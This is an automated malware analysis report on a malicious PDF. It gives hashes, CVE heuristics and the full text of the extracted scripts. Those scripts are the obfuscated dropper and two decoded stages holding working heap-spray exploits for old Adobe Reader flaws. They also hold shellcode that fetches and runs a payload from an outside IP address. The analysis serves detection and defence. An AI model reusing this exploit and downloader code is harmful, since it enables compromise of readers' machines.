Malicious PDF — malware analysis report

Static analysis result for SHA-256 4295784794903c80…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: b37fb55ecfa8ce38224fcdd3d507029c SHA-1: d9bcd88fed3faeb22240c6efcfa3f964d1902a1f SHA-256: 4295784794903c80fa5fe5ea4300f597e003a47255331e0debb680d85c86edd6
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The recovered JavaScript indicates a heap spray behavior and includes a URL, http://66.199.229.50/w.php?f=63&e=5, which is likely used to download and execute a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=63&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11662 bytes
SHA-256: f42b6463d1bd46e040433130a34c2058b0c750c94e60e3d312bbb2a560a14bdb
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(1,20,12,44,12,70,49,70,24,24,55,37,6,36,30,70,48,28,43,56,60,60,48,28,20,7,44,69,48,28,43,47,20,7,48,28,59,47,44,69,48,28,44,21,56,69,48,28,56,56,47,20,48,28,60,69,7,63,48,28,69,63,43,55,48,28,43,55,56,63,48,28,63,7,69,63,48,28,59,63,43,55,48,28,47,60,49,7,48,28,59,60,43,55,48,28,56,56,63,43,48,28,60,60,39,55,48,28,47,44,43,55,48,28,63,56,56,7,48,28,56,56,59,69,48,28,43,49,66,7,48,28,49,47,44,44,48,28,20,20,49,63,48,28,55,43,20,20,48,28,69,63,43,55,48,28,7,56,56,63,48,28,56,21,69,60,48,28,59,47,63,60,48,28,43,59,20,55,48,28,66,69,56,69,48,28,44,69,43,47,48,28,47,49,59,47,48,28,44,55,44,21,48,28,47,49,69,7,48,28,43,55,47,60,48,28,56,7,59,47,48,28,59,69,43,55,48,28,59,43,56,47,48,28,20,47,63,56,48,28,43,55,47,60,48,28,66,63,59,60,48,28,20,47,63,56,48,28,7,21,56,56,48,28,69,49,69,21,48,28,45,39,20,7,48,28,7,47,63,56,48,28,39,55,56,56,48,28,55,44,63,20,48,28,56,43,49,63,48,28,59,69,20,66,48,28,7,49,63,43,48,28,63,39,7,55,48,28,39,45,63,56,48,28,44,55,69,63,48,28,56,55,20,49,48,28,59,47,49,20,48,28,47,44,44,60,48,28,47,44,43,55,48,28,63,56,66,69,48,28,60,60,39,39,48,28,63,7,43,55,48,28,43,39,69,55,48,28,44,7,69,60,48,28,47,69,20,20,48,28,63,7,66,69,48,28,39,43,43,55,48,28,39,39,63,56,48,28,63,69,43,55,48,28,63,56,43,55,48,28,45,55,7,47,48,28,47,21,47,44,48,28,44,55,7,56,48,28,45,39,47,56,48,28,60,43,43,55,48,28,43,63,66,63,48,28,63,7,59,39,48,28,59,69,56,56,48,28,21,60,63,56,48,28,20,56,44,55,48,28,60,43,43,55,48,28,43,55,63,43,48,28,60,45,20,59,48,28,47,21,63,47,48,28,21,43,44,43,48,28,20,20,20,20,48,28,44,66,20,20,48,28,44,43,20,21,48,28,63,63,63,63,48,28,63,63,63,63,48,28,47,63,47,43,48,28,69,63,60,45,48,28,20,20,60,43,48,28,63,63,63,63,48,28,47,63,63,63,48,28,7,63,43,56,48,28,47,63,49,21,48,28,43,55,47,47,48,28,43,55,44,7,48,28,49,63,47,44,48,28,7,56,43,56,48,28,20,20,63,47,48,28,60,43,44,56,48,28,60,44,60,20,48,28,63,63,63,63,48,28,59,47,60,43,48,28,60,7,59,66,48,28,47,69,60,39,48,28,49,60,20,20,48,28,7,69,43,56,48,28,43,55,63,43,48,28,44,43,44,43,48,28,20,20,60,49,48,28,20,20,20,20,48,28,63,66,44,55,48,28,59,66,44,55,48,28,44,7,43,49,48,28,63,49,63,69,48,28,63,63,63,63,48,28,47,7,43,39,48,28,63,7,66,69,48,28,63,69,7,59,48,28,59,66,66,69,48,28,60,59,60,47,48,28,7,59,59,56,48,28,66,69,69,69,48,28,59,60,63,69,48,28,56,56,59,66,48,28,7,59,56,66,48,28,66,69,69,69,48,28,66,63,63,43,48,28,59,56,66,39,48,28,47,56,66,63,48,28,20,43,60,43,48,28,63,63,63,63,48,28,20,20,63,63,48,28,63,7,47,60,48,28,44,43,43,55,48,28,7,21,56,56,48,28,7,59,47,49,48,28,49,39,69,69,48,28,59,59,63,63,48,28,60,66,59,63,48,28,7,59,59,69,48,28,49,39,69,69,48,28,66,44,63,47,48,28,60,7,60,69,48,28,7,60,60,7,48,28,49,39,69,69,48,28,63,63,63,21,48,28,43,45,47,21,48,28,63,69,7,49,48,28,43,43,56,63,48,28,49,39,69,69,48,28,69,49,63,69,48,28,60,45,47,49,48,28,60,45,63,63,48,28,47,56,63,63,48,28,60,45,47,59,48,28,20,20,63,63,48,28,49,69,47,60,48,28,7,63,43,47,48,28,49,60,59,47,48,28,63,63,60,45,48,28,20,20,47,56,48,28,63,69,47,60,48,28,63,63,60,45,48,28,44,55,43,56,48,28,47,56,63,7,48,28,47,60,20,20,48,28,43,56,63,69,48,28,63,7,7,56,48,28,63,66,44,55,48,28,49,56,44,55,48,28,43,63,69,59,48,28,63,63,56,20,48,28,20,45,59,47,48,28,43,63,69,59,48,28,63,63,56,20,48,28,7,69,59,47,48,28,63,63,60,45,48,28,20,44,60,45,48,28,47,60,20,20,48,28,44,43,63,43,48,28,20,44,21,7,48,28,20,20,20,20,48,28,69,44,43,44,48,28,44,7,63,44,48,28,20,44,21,43,48,28,63,44,43,45,48,28,60,20,43,21,48,28,55,39,63,49,48,28,7,45,56,56,48,28,47,55,43,45,48,28,7,60,49,55,48,28,59,21,69,60,48,28,49,45,56,60,48,28,59,63,66,20,48,28,59,69,60,43,48,28,59,63,59,69,48,28,66,20,56,45,48,28,56,60,66,20,48,28,66,44,56,60,48,28,56,21,56,49,48,28,66,44,56,21,48,28,56,66,56,66,48,28,66,44,56,21,48,28,56,63,56,47,48,28,59,59,66,20,48,28,59,63,66,44,48,28,59,63,60,43,48,28,60,60,56,20,48,28,56,60,56,39,48,28,66,60,56,56,48,28,56,39,60,47,48,28,63,63,56,47,48,28,63,63,63,63,70,10,20,28,51,7,64,1,27,51,16,44,29,23,53,12,53,45,22,25,41,24,46,54,52,1,2,44,12,53,45,74,2,44,51,36,64,52,57,66,58,25,41,24,46,53,45,31,30,53,45,10,5,53,45,30,53,45,74,6,28,55,6,64,53,1,51,36,12,63,22,25,41,8,66,24,10,53,44,64,28,53,51,16,53,45,10,5,16,20,28,51,7,64,1,27,51,16,55,67,12,24,46,23,45,53,16,39,40,36,30,51,44,54,16,38,53,53,45,41,12,24,10,23,45,53,16,23,54,30,63,67,63,7,63,7,63,7,63,7,10,23,45,53,16,45,39,39,53,30,63,67,69,63,63,63,63,63,10,23,45,53,16,9,45,41,2,27,45,39,30,28,51,44,6,7,45,9,44,12,55,37,6,36,24,10,23,45,53,16,6,7,75,2,44,51,30,9,45,41,2,27,45,39,74,2,44,51,36,64,52,57,66,10,23,45,53,16,25,41,30,45,39,39,53,14,12,6,7,75,2,44,51,31,63,67,56,43,24,10,23,45,53,16,41,45,53,6,9,30,28,51,44,6,7,45,9,44,12,17,48,28,21,63,21,63,48,28,21,63,21,63,17,24,10,41,45,53,6,9,30,44,29,23,53,12,41,45,53,6,9,22,25,41,24,10,23,45,53,16,7,27,28,51,64,66,30,12,23,54,14,63,67,69,63,63,63,63,63,24,8,45,39,39,53,10,20,27,53,12,23,45,53,16,7,27,28,51,64,30,63,10,7,27,28,51,64,58,7,27,28,51,64,66,10,7,27,28,51,64,31,31,24,46,39,40,36,19,7,27,28,51,64,34,30,41,45,53,6,9,31,9,45,41,2,27,45,39,10,5,16,23,45,53,16,27,23,44,53,20,2,27,54,30,28,51,44,6,7,45,9,44,12,17,48,28,63,7,63,7,48,28,63,7,63,7,17,24,10,54,52,1,2,44,12,27,23,44,53,20,2,27,54,74,2,44,51,36,64,52,58,69,69,21,47,66,24,46,27,23,44,53,20,2,27,54,31,30,27,23,44,53,20,2,27,54,10,5,16,64,52,1,6,74,7,27,2,2,45,55,4,64,27,53,44,30,72,27,2,2,45,55,74,7,27,2,2,44,7,64,15,18,45,1,2,0,51,20,27,12,46,6,28,55,37,13,17,17,22,18,6,36,13,27,23,44,53,20,2,27,54,5,24,10,5,16,20,28,51,7,64,1,27,51,16,9,53,1,51,64,20,12,24,46,51,27,9,30,28,51,44,6,7,45,9,44,12,17,48,28,63,38,63,38,48,28,63,38,63,38,48,28,63,38,63,38,48,28,63,38,63,38,17,24,10,23,45,53,16,9,45,41,2,27,45,39,30,28,51,44,6,7,45,9,44,12,55,37,6,36,24,10,52,44,45,9,55,2,27,7,40,30,51,27,9,31,9,45,41,2,27,45,39,10,55,1,36,55,2,27,7,40,30,28,51,44,6,7,45,9,44,12,17,48,28,63,38,63,38,48,28,63,38,63,38,17,24,10,52,44,45,39,44,53,6,1,29,44,30,66,63,10,6,9,53,45,41,30,52,44,45,39,44,53,6,1,29,44,31,52,44,45,9,55,2,27,7,40,74,2,44,51,36,64,52,10,54,52,1,2,44,12,55,1,36,55,2,27,7,40,74,2,44,51,36,64,52,58,6,9,53,45,41,24,46,55,1,36,55,2,27,7,40,31,30,55,1,36,55,2,27,7,40,10,5,16,20,1,2,2,55,2,27,7,40,30,55,1,36,55,2,27,7,40,74,6,28,55,6,64,53,1,51,36,12,63,22,6,9,53,45,41,24,10,55,2,27,7,40,30,55,1,36,55,2,27,7,40,74,6,28,55,6,64,53,1,51,36,12,63,22,55,1,36,55,2,27,7,40,74,2,44,51,36,64,52,14,6,9,53,45,41,24,10,54,52,1,2,44,12,55,2,27,7,40,74,2,44,51,36,64,52,31,6,9,53,45,41,58,63,67,69,63,63,63,63,24,46,55,2,27,7,40,30,55,2,27,7,40,31,55,2,27,7,40,31,20,1,2,2,55,2,27,7,40,10,5,16,18,44,18,30,51,44,54,16,38,53,53,45,41,12,24,10,20,27,53,12,1,30,63,10,1,58,49,69,63,63,10,1,31,31,24,46,18,44,18,19,1,34,30,55,2,27,7,40,31,52,44,45,9,55,2,27,7,40,10,5,16,23,45,53,16,51,28,18,30,49,66,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,10,28,64,1,2,74,9,53,1,51,64,20,12,17,48,69,47,63,63,63,20,17,22,51,28,18,24,10,5,16,20,28,51,7,64,1,27,51,16,36,44,64,1,7,27,51,12,24,46,23,45,53,16,45,53,53,41,30,51,44,54,16,38,53,53,45,41,12,24,10,1,20,12,45,9,9,74,39,27,7,74,72,27,2,2,45,55,74,36,44,64,0,7,27,51,24,46,23,45,53,16,9,45,41,2,27,45,39,30,28,51,44,6,7,45,9,44,12,55,37,6,36,24,10,23,45,53,16,52,26,25,47,63,63,72,68,30,9,45,41,2,27,45,39,74,2,44,51,36,64,52,57,66,10,23,45,53,16,25,41,30,63,67,69,63,63,63,63,63,14,12,52,26,25,47,63,63,72,68,31,63,67,56,43,24,10,23,45,53,16,41,45,53,6,9,30,28,51,44,6,7,45,9,44,12,17,48,28,21,63,21,63,48,28,21,63,21,63,17,24,10,41,45,53,6,9,30,44,29,23,53,12,41,45,53,6,9,22,25,41,24,10,23,45,53,16,9,47,38,37,65,60,47,20,30,12,63,67,63,7,63,7,63,7,63,7,14,63,67,69,63,63,63,63,63,24,8,63,67,69,63,63,63,63,63,10,20,27,53,12,23,45,53,16,23,25,7,32,33,21,60,41,30,63,10,23,25,7,32,33,21,60,41,58,9,47,38,37,65,60,47,20,10,23,25,7,32,33,21,60,41,31,31,24,46,45,53,53,41,19,23,25,7,32,33,21,60,41,34,30,41,45,53,6,9,31,9,45,41,2,27,45,39,10,5,16,23,45,53,16,64,50,42,52,68,55,35,54,30,28,51,44,6,7,45,9,44,12,17,48,63,21,17,24,10,54,52,1,2,44,12,64,50,42,52,68,55,35,54,74,2,44,51,36,64,52,58,63,67,69,63,63,63,24,46,64,50,42,52,68,55,35,54,31,30,64,50,42,52,68,55,35,54,10,5,16,64,50,42,52,68,55,35,54,30,17,68,74,17,31,64,50,42,52,68,55,35,54,10,45,9,9,74,39,27,7,74,72,27,2,2,45,55,74,36,44,64,0,7,27,51,12,64,50,42,52,68,55,35,54,24,10,5,5,16,45,73,2,28,36,1,51,6,30,45,9,9,74,9,2,28,36,0,51,6,10,23,45,53,16,6,23,30,9,45,53,6,44,0,51,64,12,45,9,9,74,23,1,44,54,44,53,11,44,53,6,1,27,51,74,64,27,4,64,53,1,51,36,12,24,74,7,52,45,53,38,64,12,63,24,24,10,20,27,53,12,23,45,53,16,1,30,63,10,1,58,45,73,2,28,36,1,51,6,74,2,44,51,36,64,52,10,1,31,31,24,46,1,20,12,45,73,2,28,36,1,51,6,19,1,34,74,51,45,18,44,30,30,70,15,4,7,53,1,9,64,70,24,46,23,45,53,16,2,23,30,45,73,2,28,36,1,51,6,19,1,34,74,23,44,53,6,1,27,51,10,5,5,16,1,20,12,12,2,23,30,30,21,24,62,62,12,12,6,23,30,30,43,24,71,71,12,2,23,58,30,43,74,49,66,24,24,24,46,36,44,64,1,7,27,51,12,24,10,5,44,2,6,44,16,1,20,12,2,23,30,30,59,74,49,24,46,9,53,1,51,64,20,12,24,10,5,44,2,6,44,16,1,20,12,12,12,6,23,30,30,60,24,62,62,12,6,23,30,30,59,24,24,71,71,12,2,23,58,59,74,49,49,24,24,46,55,67,12,24,10,5,44,2,6,44,16,1,20,12,12,2,23,61,30,21,74,49,24,62,62,12,2,23,58,30,21,74,66,24,62,62,12,2,23,61,30,43,74,49,56,24,62,62,12,2,23,58,30,43,74,49,59,24,24,46,20,28,51,7,64,1,27,51,16,45,12,24,46,28,64,1,2,74,9,53,1,51,64,39,12,70,9,3,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,16,13,16,41,41,41,41,49,49,49,70,22,51,44,54,16,33,45,64,44,12,24,24,10,5,23,45,53,16,52,30,45,9,9,74,9,2,28,36,0,51,6,10,20,27,53,12,23,45,53,16,20,30,63,10,20,58,52,74,2,44,51,36,64,52,10,20,31,31,24,46,1,20,12,52,19,20,34,74,51,45,18,44,30,30,70,15,4,7,53,1,9,64,70,24,46,23,45,53,16,1,30,52,19,20,34,74,23,44,53,6,1,27,51,10,5,5,16,1,20,12,12,1,61,43,74,49,66,24,71,71,12,1,58,43,74,66,24,24,46,7,30,51,44,54,16,38,53,53,45,41,12,24,10,23,45,53,16,39,30,28,51,44,6,7,45,9,44,12,70,48,28,21,63,21,63,48,28,21,63,21,63,70,24,10,23,45,53,16,44,30,28,51,44,6,7,45,9,44,12,55,37,6,36,24,10,54,52,1,2,44,12,39,74,2,44,51,36,64,52,58,30,63,67,43,63,63,63,24,46,39,31,30,39,10,5,39,30,39,74,6,28,55,6,64,53,12,63,22,63,67,43,63,63,63,14,44,74,2,44,51,36,64,52,24,10,20,27,53,12,20,30,63,10,20,58,66,21,63,63,10,20,31,31,24,46,7,19,20,34,30,39,31,44,10,5,45,12,24,10,45,12,24,10,64,53,41,46,64,52,1,6,74,18,44,39,1,45,74,51,44,54,73,2,45,41,44,53,12,51,28,2,2,24,10,5,7,45,64,7,52,12,44,24,46,5,45,12,24,10,5,5);
a=new String("Iil@S}sc/p;V(:-E 'm[f9,v)qWouz=+QD]GgjAdkyM8ea{5%1Unhrwb3*<76>|0tK2xN4'&CP._");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 33a309b8993c0d05c5a8989cf54a40d0cca4d44269ace19060d6a4b9b4c0a5ab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2633%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 70991e340a64e9ab8868c9bfff9eae326d68f29f7c818516f19bbc7f98ac4161
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2633%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 